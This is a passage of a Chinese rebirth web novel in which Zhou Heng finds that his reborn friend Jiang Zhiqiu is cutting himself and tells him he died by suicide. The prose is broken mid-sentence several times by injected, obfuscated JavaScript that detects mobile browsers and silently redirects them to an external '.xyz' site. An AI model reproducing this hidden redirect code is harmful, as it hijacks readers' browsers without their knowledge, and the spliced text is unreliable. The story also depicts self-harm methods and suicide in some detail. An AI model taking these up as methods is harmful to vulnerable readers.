江知秋摸着被捏过的地方,不知道在想什么。 周衡又说,“我去找老张请假,你今天先回去休息,别上课了,好不好?” 不等江知秋开口,他说,“听话。” “好。”江知秋只好点头。 周衡起身去找张正,张正听说江知秋身体不适后跟过来看了眼,直接给他和周衡都批了假,让周衡送他回去。 周衡送江知秋回去的时候江渡还没下班回家,他原本想翘掉接下来的几节课和晚上的晚自习留下来陪江知秋,但他昨晚才把周承和林蕙兰气得够呛,不好再在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他房间的书桌是过年前江渡和陈雪兰给他换的新书桌,收拾得非常整洁,辅导书单独放了一摞,密密麻麻贴着便签纸,2016年的旧款手机放在书桌上最显眼的位置,立在床头的吉他已经积了点灰,房间的窗帘是陈雪兰给他挑的蓝白轻纱款,和他的被单被套同色,散发着淡淡的洗衣液香味。 江知秋站在书桌前,手放在书桌上,却钝钝地没感受到什么。 “咪呜。”啾啾过来蹭他的手。 沉默了片刻,江知秋转身走到窗边,打开窗。 冷风灌进房间,江知秋依旧感觉隔了层膜,感觉到的很虚妄。 早上那一瞬间的清醒仿佛错觉。 江知秋在窗前站了许久,终于打开离开,却没注意到放在窗边的凳子,脚趾“哐”的一下踢到凳子腿,骨头的剧痛瞬间破开大脑的昏沉和钝感,江知秋瞬间冷汗涟涟。 那种清醒似乎又回来了。 13.第 13 章 灵魂与肉·体严重的错位感在这个时候忽然消失了。 江知秋抱着啾啾出门,走到客厅后放他下来,让它自己去玩。 上次啾啾来只是在他房间里待了一晚上,第二天没来得及熟悉客厅被周衡接回去了,这会在客厅里试探着这里钻钻那里挠挠,江知秋同样在打量客厅的布局。 阴天,客厅的光线不是特别好。 但足够江知秋看清每一个地方。 记忆中,家里的一切陈雪兰都要亲自过问才满意。 她喜欢到处淘一些物美价廉的小物品放在家里,他的照片、爸妈的合照,以及他们一家三口的合照挂在墙上,江知秋从小到大拿的奖状在另一面墙上贴了满满一墙,沙发正上方悬着陈雪兰亲自绣的“家和万事兴”十字绣,茶几上白色花瓶插着陈雪兰今早才从院子里摘回来的鲜花,浅色瓷砖被擦得纤尘不染。 电视边的熏香散发着淡淡的香味。 江知秋摸到了门框上量身高留下来的刻痕。 比记忆中少了两道。 但江知秋清醒维持的时间很短。 痛感褪去后,钝感重新将他淹没,眩晕和失重的幻觉也卷土重来。 江知秋扶着门框缓了许久,好在没有在学校里那么严重,啾啾绕着他脚跟喵喵叫了好几声,他终于睁开眼,脚趾的痛感已经趋近麻木。 “啾啾。”江知秋将小猫抱起来。 小猫才刚得到这个名字,还没适应自己的新名字,但他说话的声音还是吸引了小猫抬头看他,非常嗲地拖着声音,“喵。” 现在快十一点,江渡要给医院的陈雪兰送饭,这个时候不在二楼。 江知秋抱着猫一起慢慢下楼,刚好在楼道碰到打算上楼的江渡。 “起来了?”江渡笑着说,“正好,先别下去,我先给你测个体温。” 虽然他之前用手试了没发热,但江渡告诉陈雪兰只用手摸了之后被妻子臭骂了一顿,忙不迭上楼找体温计给儿子量体温。 “好。”江知秋说,又跟着江渡上楼。 江渡从茶几下拖出家用药箱,给体温计消了毒之后才给江知秋用。测完一看,正常体温,没发烧。 “行了,去玩儿吧。”江渡把消完毒的体温计收回药箱。 江知秋没动。 江渡收拾完发现儿子眼睛一眨不眨盯着自己,笑了笑,“怎么了?这么看着你老爸?” “等雨停了要不要我带你出去转转?” “好。”江知秋点头。 于是江渡揉了下他的头,“行。我现在下去做饭。” 江知秋慢吞吞跟着他一道下楼,啾啾也跟着他们一起下楼。 江渡在厨房里洗菜准备做饭,江知秋就随便找了个地方坐了会儿,看着啾啾在地上扑来扑去自己玩,起身走进厨房,拿起刀凝视了片刻,抬手碰了下刀刃,指尖瞬间出了血。 江知秋捻了捻。 刀口窄且深,痛感十分强烈,灵魂被瞬间扯进肉·体。 “怎么流血了?”江渡转身就看到他儿子拿着菜刀玩,皱着眉从他手里抽出刀,撵他出去,“多大了还玩刀,不舒服就去躺下歇着,别来捣乱,去楼上把手包扎了。” “哦。”江知秋被撵出厨房,啾啾气势汹汹来扑他的脚。 中午下课周衡来了,身后还跟着三个小尾巴,五个大男孩挤在江知秋的小房间里显得非常局促。 “好点了没,秋儿?”伍乐凑到江知秋面前,“咱们上午差点都被你吓死了知道吗?你什么时候多了个这个毛病?呼吸障碍?” 费阳坐在书桌边鼓着腮帮扒饭,“就是,差点把哥们儿吓尿了,还好周衡反应快。” “起开。”周衡拍了下伍乐的肩示意他让开,伍乐翻了个白眼把位置让给他,和赵嘉羽坐一块儿去了。 周衡发现江知秋目光一直落在伍乐身上,心里微沉,不动声色挡住他的视线,注意到他的手,隆起眉心,“你手怎么受伤了?” “不小心的。”江知秋被挡住了视线,只能看着他。 周衡压着眉盯着他看了两秒。 从江知秋家里离开后,他想了很久他是不是太着急了。 江知秋只是刚察觉一点不同而已反应就这么大,比起让江知秋快点意识到他重生,周衡更在意他本身。 他无法眼睁睁看着江知秋痛苦。 江知秋现在看着和之前没什么不同,却又似乎有了些变化,周衡一时之间没在他表情里捕捉到什么。 午休时间不长,外面还在下雨,路不好走,费阳他们提前二十分钟走了,周衡没跟他们一起走,上午回去的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16144964|178566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他找张正磨了半个小时请到了下午的假,留下来陪江知秋。 江渡给陈雪兰送完饭回来看到他在,以为他爸妈同意了他请假,于是也没说什么。 但周衡跟他出去聊了会儿。 “怎么了?”江渡有些疑惑。 周衡说,“没事,叔。我就是想问问秋儿的手怎么了?” “他中午给我打下手的时候不小心碰到刀了。”江渡无奈摇头。 周衡若有所思,对他笑了笑,“原来是这样。” 下午江知秋在睡觉,周衡守着他看了会儿,啾啾喵喵叫着想跳到床上去,周衡起身带它去洗了爪子才把它送到江知秋床上,看着它找了个地方蜷下来,才坐到书桌前翻江知秋之前的课本和笔记。 看了好半会儿一个字也没看进去,周衡望着江知秋熟睡的脸出神。 片刻,他重新坐回江知秋床边。 啾啾抬起脑袋看他一眼,又埋进胸脯。 周衡没管它,小心拿出江知秋放在被子里的手,握着他的手,掌心轻轻摩挲,江知秋穿着宽松的睡衣,衣袖被他慢慢卷起来,露出光滑健康的皮肤。 江知秋现在钝钝的,估计就算被他抱起来跑三公里都不会醒。 周衡拉下他的衣袖重新将他的手放进被子。 江知秋做了个非常乱的梦。 梦里场景纷乱,和他说话的人时不时变换成另一个人,对话总是莫名其妙,等他睁开眼的时候依旧感觉到天旋地转。 江知秋盯着天花板看了许久,直到房间的门被打开,周衡开门进来。 “睡醒了?”周衡坐到他身边,“有没有哪儿不舒服?” 指尖一股一股地抽疼,但江知秋摇了下头。 “手不疼了?” “不疼。” “手真的是不小心受伤的?” “嗯。” 周衡压着眉看他,他压着眉的时候面相显得有些凶,但江知秋从来没怕过他。 “不准伤害自己。”半晌,周衡用刚洗完冷水的手捧住他的脸故意冰他,“听到了吗?” 江知秋没躲,声音闷闷的,“……哦。” 周衡轻轻弹了下他的额头。 他看不得江知秋身上出现什么刀伤。 因为,江知秋以前会自残。 14.第 14 章 江渡和陈雪兰夫妻俩不是没想过把江知秋也送去七中,但他们没有人脉,周家也是费了九牛二虎之力才把周衡送去七中,夫妻俩不好意思厚着脸皮让周家帮他们去求人,一直在想办法,等这件事好不容易有了点苗头,夫妻俩又出了意外,江知秋就只能留在温中,这也注定了他和周衡没在一个地方读大学。 但每年寒暑假都有周衡从七中给他带回来的学习资料,周衡也会抽空给他辅导,江知秋放弃了唱歌,高考的时候超常发挥考上第二梦校,和周衡相隔一千八百公里。 周衡出国后边忙学业边做工作室,可以说在他出国这段时间内他对江知秋的经历了解得还不如费阳。 但虽然费阳退伍后开的安保公司和江知秋在同一个城市,江知秋和费阳也不是时时刻刻都待在一起,长大后大家都有自己的事要忙,所以他和周衡都没发现江知秋的异常。 也没人发现在很长一段时间内,江知秋都对自残上瘾,直到周衡回国。 最开始的时候,周衡也没发现。 直到那年天气最热的时候江知秋还穿着长袖,要他脱了去换短袖他不肯时,周衡才终于发现不对劲,强硬卷起他的衣袖发现他两条手臂上都是密密麻麻的瘢痕,有些早就痊愈只留下一道浅色的疤,但有不少还没褪去粉色。 周衡强行检查了他全身,发现他腿上也有,只比手臂上的少一些,强压着怒气问他为什么腿上也有。 “不容易被发现。”江知秋那个时候小声跟他解释,“但手更方便。” 周衡后来好不容易才让他改掉这个毛病,现在在他手上看到刀伤差点应激。 他弹完江知秋的额头,又安抚地轻揉。 江知秋眼睛不迎着光的时候没那么剔透,周衡在他的眼睛里看到了自己的倒影。 有上午的前车之鉴,他不敢再刺激江知秋,暂时放弃了纠正他想法的念头。 江知秋很快垂下眼睑,藏在被子里用力按压受伤的指尖,疼痛比刚才更尖锐,他现在非常清醒。 雨一共下了两天,江知秋也请假在家里休息了两天,周衡每天都来,握着他的手仔细检查。 雨停的第二天是个艳阳天,又是个周末,江渡答应了江知秋要带他去转转,于是买了风筝,和陈雪兰一起骑车带他出了温泉镇踏春。 温中只放月假,每周只有周日下午两个半小时的休息时间。他们一家三口去踏青,周衡识趣没跟着去,老老实实待在学校。 周六6一般不怎么上课,要么自习要么小测,他们班的老师还没变态到刚开学就来一次小测,但留了不少作业,报纸都有好几张。 江知秋没来上课,都是周衡帮他整理发下来的报纸,桌上并不杂乱。 自习课,周衡算完一道题,突然偏头看向窗外明媚的太阳,想起和父母出去踏春的江知秋,偷偷拿出手机找到江知秋的聊天框盲打,给他发了条消息。 没等到任何回复,面前突然出现一只手拿起他的作业本。 周衡不动声色藏起手机,抬头看到张正。 · 风筝线被放到最长,蝴蝶风筝飞得高,最后只剩下一个小点在风中摇曳,江渡在弄烧烤,时不时抬头看一眼。 风筝是陈雪兰挑的,这会她放了一身汗,转头看到江知秋坐在折叠椅上看着,于是过去把风筝线塞他手里,让他去放。 今天的太阳比之前的都热,晒久了脸上有点痒,但风很凉快,江知秋戴着灰色卫衣外套的帽子,仰头看着风筝控制方向,现在风大,风筝线绷得很紧,勒得人手疼。 江渡把刚烤好的肉递给陈雪兰。 “怎么糊了?”陈雪兰有些嫌弃。 “好久没烤了,没掌握到火候,你别吃。”江渡给她使了个眼色,“去拿给儿子吃。” “你真是个好爸爸。”陈雪兰扇了他肩膀一巴掌,把肉给江知秋拿过去,喂到他嘴边,江知秋咬了一口,苦涩的焦味瞬间打了他一拳,“呃。” 他张嘴小声吐出来,“呸。” 难吃。 陈雪兰边朝江渡走边笑,“哈哈哈哈哈。” 风筝线抵着指尖的伤口撕扯,江知秋微微侧头看向他们。 江渡技术不行,陈雪兰夺过大权把他撵去一边看着,江渡殷勤地给她扇风,没注意到风筝线孤零零缠在不远处的树干上。 几分钟后,江渡打算叫江知秋来吃烤肉,抬头只看到风筝,疑惑说,“儿子呢?” 陈雪兰也抬头找了一圈,“嗯?人呢?” 离他们野炊不远的地方有一条小溪,江知秋去了这里。 这里是山阴,溪水清澈见底,冻人骨头的冰冷。江知秋坐在石头上脱了鞋踩进去,水没过脚踝,寒意瞬间刺骨。 山阴处的风虽然没有放风筝的地方大,但因为不被太阳直射而格外冷。江知秋垂着脑袋看了会水面的倒影,然后抬头看向四周。 阳春三月,即使是山阴也有了春意,尤其是才刚下过一场春雨,地面开出不少五颜六色不知名的花,连石头缝里都点缀着盎然的嫩绿,有人来这里挖过山货,新鲜的泥土还翻在外面。 江知秋没看多久,听到手机“嗡嗡”声。 “你去哪儿了?”江渡在那边问他,“你妈肉烤好了,快点回来,晚了就没你的份了。” “好。”江知秋挂了电话,起身的时候踩到石头上的青苔,脚下一滑,啪叽一下摔进水里,寒意瞬间钻进四肢百骸。 溪水不深,只是冷,江知秋冷静躺在溪流底看了会儿头顶的树枝,慢慢爬起来,湿哒哒回去的时候把江渡和陈雪兰吓了一跳。 “这是去哪儿鬼混回来了?”陈雪兰哭笑不得,又看他在风里颤抖的样子十分可怜,把烧烤架丢给江渡,擦了手带他去取衣服,“幸好出门的时候多带了套衣服,不然你又得生病,快去换了来晒会太阳。” 江知秋换完衣服回来,把进了水的手机给他们看,“手机好像坏了。” “没事,待会回去路上爸妈再给你买一个。” 现在正好是中午,太阳正烈,江知秋没一会就晒得回了暖,衣服搭在椅子上晒了一下午半干不干,但他回去后不久还是不可避免地发了点热。 陈雪兰早有准备,给他吃了药,等晚上周衡来的时候差不多退烧了。 温中周六晚自习下得早,周衡不到九 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149158|178566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点就来了,看到江知秋脸色不对,问了江渡和陈雪兰缘由之后才有些无奈问他,“怎么这么不小心?” 江知秋看他一眼,不说话。 “我给你发消息,怎么不理我?”周衡又说。 手机坏了,江知秋没用新手机登陆账号,但他没解释,反而抬手碰了下周衡的脸。 周衡一顿。 江知秋慢慢抚摸他的脸,指尖粗糙的创口贴不轻不重剌过皮肤,从他的眉骨到下巴,江知秋摸得很仔细。 周衡没躲,伏着身任他摸自己。 江知秋放下手。 这两天,他观察了许久。 他看到的、体验到的都非常真实。 这个家,和记忆中那个需要午夜梦回才能回到的家一模一样。 茶几花瓶里的花开得正娇艳,没有枯黄败落,“家和万事兴”的玻璃装裱框没有积灰,墙上的奖状没有因胶水失去粘性三三两两掉挂在墙上,柜子上没有父母的遗照,沙发没有霉味、没有泛黄,墙皮没有因长久无人居住掉落,一家三口的生活气息自然浓烈。 许久之后,江知秋抬眼看着周衡,“张老师没事,我爸妈也可以没事吗?” 周衡心里微沉,但不等他回答,江知秋又说,“其实那个时候你走了以后,我很想你还在。” 他前言不搭后语,周衡敏觉意识到什么,喉咙微滚,“秋儿?” 江知秋没说话了。 周衡却在这个时候想起刚开始的时候他问江知秋什么是走马灯,江知秋回答他他就是。 如果真的是他的走马灯,周衡就不会出现在这里,周衡的存在是最大的破绽,但江知秋一直没发现,周衡突然意识到江知秋可能一开始只是把他当成幻想出来的对象,江知秋幻想过他会留下来的可能,所以才一直熟视无睹这个破绽。 难怪开学那天明明江知秋已经那么难受,他还能感觉江知秋在楼上看他。 直到现在张正原本应该出事的命定轨迹也被改变,江知秋才终于正视他的存在,问他为什么在这里。 他因为顾忌没有回答。 “我希望你没走,也希望张老师可以避开那把刀,”江知秋慢慢按压指尖,低声说,“现在都是我幻想出来的吗?” “如果是,我爸妈和伍乐也会没事吗?” “奶奶也会还在吗?” 这还是他重生后第一次说这么多句话,他似乎终于不再缩在他的蜗牛壳里封闭自己,愿意伸出触须试探。 周衡没想到江知秋又钻了另一个牛角尖,但在回答他之前,他突然注意到了江知秋的小动作,一把握住他的手腕。 江知秋想往后缩,却无法挣脱他。 周衡解开他的创口贴,发现那道伤口明明已经好几天了,却不仅一点都没痊愈的迹象,还似乎更严重了些,隐隐渗着血丝。 显然是有人不想让它痊愈。 周衡看了眼江知秋,突然微微用力按在他的大腿。 江知秋轻微抖了一下,立马被周衡抓住。 周衡脸色微沉,眼疾手快按住他的腰,不给他任何反应扒下他的睡裤,果然看到他大腿上斑驳的刀痕。 15.第 15 章 都是新鲜的,情况最好的也只是结了层薄薄的血痂,就这样还被抠得坑坑洼洼,一道道伤口看着触目惊心,但如果不是周衡突然动手扒了他的裤子,这个位置就算他在夏天穿短裤,别人也发现不了他在改花刀。 周衡下颌线紧绷,愤怒,却是对自己的。这是他的疏忽,这几天竟然只检查他的手臂,没天天扒他的裤子检查他的腿。 他无法责怪江知秋,也舍不得责怪,他知道江知秋有时候会控制不住自己,他只能怪自己。周衡脸部肌肉微微抽搐。 “放开。”江知秋没挣扎,情绪没有丝毫起伏,平静得像一潭死水。 周衡僵了片刻,替他提起裤腰才松开他,抬头的时候没让自己的表情太难看,临时改变说辞,勾了下唇,压着声带轻颤,语气缓和地开口,“划这里,是不想让爸妈发现?” 江知秋从床头柜拿了张新的创口贴缠到指尖,等他弄完周衡才握着他的手放到脸上,贴着他的掌心说,“你现在觉得我是你幻想出来的吗?” 江知秋动作一顿,抬头看他。 这两天他一直在想这个问题。他想,如果这是他的幻想,反正都是假的,到最后都会失去,不如让他在十六岁最圆满的时候跟他们一起走,但刀划破皮肤的痛感破开幻觉和感官的麻木,告诉他这不是他的幻想。 他以此反复确定,他似乎真的回到了以前的家,还和爸妈生活在一起。 痛感让他感觉自己还活着。 “你确认好这是你的幻想,还是现实了吗?”周衡轻声问,“我到底是真实存在的,还是假的,秋儿?回答我。” 手掌触碰到的热度真实而热烈,江知秋望着他,声音同样很轻,“你是真的。” “那你呢。”周衡反问他,“你是真实存在的吗?” 江知秋抿了下唇,点头,又像是不解,“为什么我还没死?” 烂尾楼一共十六层,他从顶楼跳下来,现在不应该还活着。 周衡呼吸微乱,眼前闪过很多血腥的画面,连鼻腔都涌起了一股让他作呕的血腥味,他用力闭了下眼,喉结攒动得厉害,他本来已经暂时放弃了这个计划,不想告诉江知秋,但现在已经走到这一步,他必须告诉他。周衡睁开眼,声音很轻微,勉强维持着平稳,“你早就死了,秋儿。” 2026年的那个跨年夜,他匆匆从父母家赶回他和江知秋住的地方,这一天天气不好,没有月光,开门后屋里漆黑一片,格外冷清,落地窗外是同样的黑暗,窗帘鬼魅一般藏在暗色里,没有丝毫人气。 钟点工和江知秋都不在。 江知秋最近状态又不太好,忘了很多事,周衡很早就联系过他的心理医生,知道他病情会反复,就算请了阿姨他不敢留他一个人待太久,赶在倒计时前回来,却没在家里找到人,桌上原封不动放着他做的年夜饭,已经彻底冷了,江知秋最喜欢窝的懒人沙发布料褶皱凌乱,像是主人刚起身离开不久。 但沙发早就冷了。 没在屋里找到人的那一刻周衡心里就不太妙,立马找物业查了监控,看到江知秋独自一人离开了小区,马上报了警。 两个小时后,周衡看到了他残缺不堪的尸体。 警察叫他去辨认。 血太多了。他无论如何也擦不干净江知秋脸上的血,他坠落的那块地方地板被血液浸透,水冲刷了许久也没能冲干净,那股浓烈的血腥味在他鼻腔里残留了很久,又渐渐在他身体里腐败。 江知秋对自己的死亡没有印象,也不知道该作什么反应,他想了想,最后平静说,“哦。”原来他死了。 但他现在还活着。 “我为什么还活着?”江知秋又说。 这次周衡没有回答,而是反问,“你觉得呢?” “人生倒带。”江知秋微微迟疑,“……重生。” 周衡悬着的心放下,“对。”他给他肯定的答复,“你重生了,你可以重来一次。” “有什么用?”江知秋却轻声。 他虽然意识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16162873|178566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了自己重生,但态度依旧消极,周衡早有所料,捧着他的脸耐心告诉他,“有用。为什么没用?” “去蓉城的那条高速没有发生车祸,老张避开了那把刀,如果你想,你爸妈也可以避开那场塌方,你不会失去他们,”周衡说,“奶奶不会因为白发人送黑发人郁郁而终,伍乐的未来也可以被你改变,赵嘉羽也不会再和你决裂。他们什么都不知道,你才是决定他们未来的关键,你的重生不但不是没用,反而非常关键。” “少了你可不行。” 江知秋轻轻眨了下眼。 “咚咚——” 房间的门突然被敲响,陈雪兰的声音从门外传来,“我可以进来吗,秋儿?” “可以。”江知秋回答。 陈雪兰推门的时候周衡放开江知秋坐到书桌前。 “我做了点水果捞,拿给你们尝尝。”陈雪兰给江知秋和周衡一人端了一碗。 陈雪兰出品的水果捞其实就只是简单把水果切块然后浇上酸奶,但周衡很给面子,“哟,我们雪姨手艺还是这么好。” “你呀,从小就油嘴滑舌。”陈雪兰心花怒放,低头看儿子捧着碗拿那双大眼睛看着自己,笑着拍拍他的脑袋,说,“你们吃完把碗放着就行,我这会就不打扰你们了,你们继续。” 江知秋鼓着腮帮慢慢地嚼着果肉,被陈雪兰拍了两下脑袋,他的平静突然毫无征兆地开始崩溃。 他低下头,等陈雪兰离开了一会儿后,周衡起身出门,在客厅茶几下找到医药箱拿了一管软膏回来,想哄江知秋把伤口露出来让他涂药,结果看到江知秋肩膀在抖。 他一顿,坐到江知秋身边,伸手接住了一滴他的眼泪,滚烫的。 江知秋破碎的呜咽声越来越大,哭得浑身颤抖,大口倒吸着气,苍白的脸被哭得通红,汹涌的眼泪砸进碗里,酸奶都快被他的眼泪稀释。 周衡拿走他的碗放一边,将他往怀里一兜,拍着他的肩低声安慰,“慢点,秋儿,别着急。” 16.第 16 章 之前说到重生他情绪也没多大起伏,陈雪兰走了之后他突然情绪崩溃,周衡能猜到原因,所以放任他哭了会儿释放情绪,江知秋哭就只是哭,不说话,发出的只有破碎的哽咽,眼泪跟开了闸似地停不下来,周衡换了两次纸给他擦眼泪,都被打湿透了。 直到他开始尖锐地倒吸气出现呼吸困难的前兆,周衡才终于出声干预,“好了,不哭了秋儿。看着我,放轻松,慢慢吸气……” 江知秋哭得跟花猫似的,通红的双眼紧闭,在他引导下慢慢控制呼吸的节奏,直到终于不再倒吸气,但身体还在止不住颤抖。 周衡把他放到床上躺下继续深呼吸,等他抖得没那么厉害了之后才轻声问,“这次胸口闷不闷?” 江知秋还沉浸在低落的情绪中,闭着眼没说话,眼泪从眼角滑落砸在枕上,留下豆大的痕迹,崩溃的情绪缠缠绵绵了许久才走,周衡守着他,帮他擦去流出来的泪珠。 等他终于不哭了之后眼睛通红,周衡去客厅的冰箱里找了点冰块回来给他敷眼睛。 哭了这么久,江知秋的房间也不太隔音,幸好江渡和陈雪兰都在楼下,没听到声音。 “脱了,还是换条短裤?”周衡将冰块放到床头拿起药膏,“我给你上药。” 江知秋看着他。 周衡和他对视了两秒,起身打开他的衣柜,翻到条夏天的睡裤回来,“要不要换?” 江知秋换上了。 “涂了药就不要再碰了,让它自己好,”周衡说着看他一眼,“能做到吗?” 江知秋不说话,周衡捏着他的下巴轻轻晃了两下,“听到了吗?” “……嗯。” “要说到做到,别光在这儿‘嗯’。”周衡弹他的额头,“上次你也是这么答应我的,你可没做到。” 江知秋闭上了眼睛。 周衡拿他这样没办法,上完药放下他的裤管,又在他房间里待了半个小时,时间太晚,他打算今晚留下来看着江知秋,但在这之前他得先回家一趟。 临走之前他看了眼江知秋,江知秋还闭着眼。 陈雪兰和江渡这个时候已经在房间打算睡觉,虚掩着门,江渡看到周衡在外面出来,听到他说今晚想睡在这里答应下来,“可以啊,客房能睡,我去给你抱床被子。” “不用麻烦了叔,”周衡却说,“我和秋儿一起睡就行。” “秋儿的床太小了,你们两个人能睡得下吗?” “没事,挤就挤点。” 听他这么说,江渡也没坚持,“你不嫌挤也行。” “那我待会过来。” 周衡走出江家的院门,忽然隔着院墙抬头看向江知秋的房间,站了十几分钟,在被楼上的人发现之前离开了。 周衡走了之后房间安静下去。 十几分钟后,江知秋起身去了洗手间,认真冲去指甲里的血丝,回来换了条长裤,悄无声息推开了父母房间的门。 父母房间灯都关掉了,他突然进来站到床边,把江渡吓一跳。 “怎么了?”江渡拉开床头灯问,以为他有什么事。 “我想听你唱歌。”江知秋小声说。 陈雪兰看了时间后哭笑不得,“都十一点了,怎么突然想听你爸唱歌了?” “好久没听到了。” 陈雪兰跟着回忆,赞同说,“也是,好久没听到了。” “行。”江渡掀开被子下床,拿了吉他坐回床边,拨了下弦,然后对着他们做了个请的手势,“来吧,想听什么?客官请点。” 周衡匆匆偷了猫回来,去江知秋房间没看到人,心里漏了一拍,直到听到隔壁有吉他声,目光下意识落到床尾的那把吉他,顿了顿,放下啾啾转身去了隔壁,敲门得到允许后才进去,看到他们一家三口都坐在床上,他看清屋内的场景后提议,“我给你们录个视频。” “录吧。”陈雪兰说。 周衡打开手机里的相机开始录。 江渡唱了首英文歌,声线低醇雄厚。他虽然现在只是在小学教儿歌, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166591|178566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但他读大学时跟朋友组了个小有名气的乐队,他是吉他手和主唱,也曾经有过一脚踹进内娱的梦想,可惜现实一巴掌把他扇回了温泉镇。 周衡在相机后观察江知秋。 江知秋低头背对着他,看不到脸。 “好听,好听,天籁。”陈雪兰在一边鼓掌捧场,江渡边唱边偏头对她眨眼睛,最后一个音落下,他放下吉他开始赶人,“好了,歌也唱完了,你俩明天还得上课,都回房间睡觉去。” 周衡揣起手机拉江知秋出去,低头一看江知秋脸颊果然又已经被泪水打湿,按着他的肩坐到床上,在枕边抓到啾啾,抬起它两只小爪子碰江知秋的脸,啾啾感觉爪垫湿了,条件反射甩了两下开始舔,被咸得又甩了两下爪垫,跟人打激灵似的,“喵。” 江知秋看着他们,眼睛湿得厉害。 前世周衡可以带江知秋去看医生,也可以弥补他缺席的那几年,却唯独无法治愈他失去父母和奶奶的伤痛。 江知秋情绪崩溃了半夜,带着泪睡着了,周衡帮他冷敷了眼周第二天他的眼睛才能看,晚上睡着还分心留意着看着他没让他抓大腿上的伤口。 周日只用上一节早读,周衡习惯起得早,洗漱回来江知秋也醒了。 下楼的时候陈雪兰被江知秋的眼睛吓了一跳,转头和江渡说话,“秋儿怎么变成兔子了?” 江渡把砂锅端到桌上,边摘防烫手套边看江知秋,立马举起汤勺起势,“呔妖怪!十几年总算现原形了,看打!” 周衡忍不住笑,江知秋坐在饭桌前眼泪刷的一下掉出来。 周衡,“……” “怎么哭了?”陈雪兰惊讶道,然后觉得他被逗哭好玩又好笑,“你爸跟你开玩笑呢,哎哟,小朋友。” “我知道。”江知秋小声说。 周衡不好解释,默不作声把筷子递给他。 筷子一正一反,他也没理过来,陈雪兰看着他用了会儿偏头和江渡说话,“今早秋儿还真像小动物第一天做人似的。” 17.第 17 章 今天是个赶集日,还是个大集,镇上一大早就来了不少人,连他们这条小巷都有人在摆摊。 “这句话还是得你妈来说。”周衡避开一个路人,留神偏头看了眼后面,“要是换我妈来,我得先想想她是不是在骂我是个畜生。” 后面的江知秋没说话。 “因为她这两天看我不顺眼。”周衡转回去看路,继续说,“当然,她这两天看我爸也特别不顺眼,就啾啾的待遇稍微好点。” “我想回家。”江知秋带着鼻音冷不丁说。 周衡一个急刹。 江渡和陈雪兰今天打算买完菜再去集市上转转,刚收拾好准备出发就看见周衡和江知秋回来了,陈雪兰有些惊讶,“你俩怎么回来了?再不走要迟到了。” “秋儿说他还是有点不舒服,我送他回来。”周衡扶着车轻咳了声,微微倾斜车身让江知秋下来,面不改色跟陈雪兰撒谎,“今天周日,学校不会上正课,要不你们再给秋儿请天假?” “也行。”陈雪兰说。 周衡最后看了眼江知秋,江知秋眼圈依旧通红,但好在没哭,“那我先走了。” “快走吧,别迟到了。”江渡边说边翻出张正的电话号码打过去。 离伍乐出事的时候还早,他们去学校也没事,江知秋从昨晚起情绪就格外崩溃脆弱,连为什么他也知道未来发生的事也没问,与其让他面对伍乐伤心,不如让他回去和他爸妈待在一起,白天有江渡和陈雪兰在,周衡不担心江知秋会做出什么事来。他对他们一家三口飞了下手指,控制自行车掉头走了。 江渡去了一边和张老师打电话,陈雪兰转头和江知秋说话,“我们要去买菜,你去不去?” 江知秋点头。 “请好假了。”江渡挂了电话过来,他听到了他们母子的对话,“走吧。” 温泉镇规模和发展都比附近的几个小镇要稍好一些,一般赶大集都是在温泉镇,这几年有附近县城里的人来泡温泉,时间一长就衍生出了各类手工艺品,小众但好看,所以有些住在县城的人也愿意在这个时候来凑凑热闹。 温泉镇的菜市场和集市不在一个地方,以前是,去年政府规划后两者就分开了,本地人都更喜欢和熟悉的人打交道,一家三口步行去菜市场,小巷沿途又摆了好几个摊子出来。 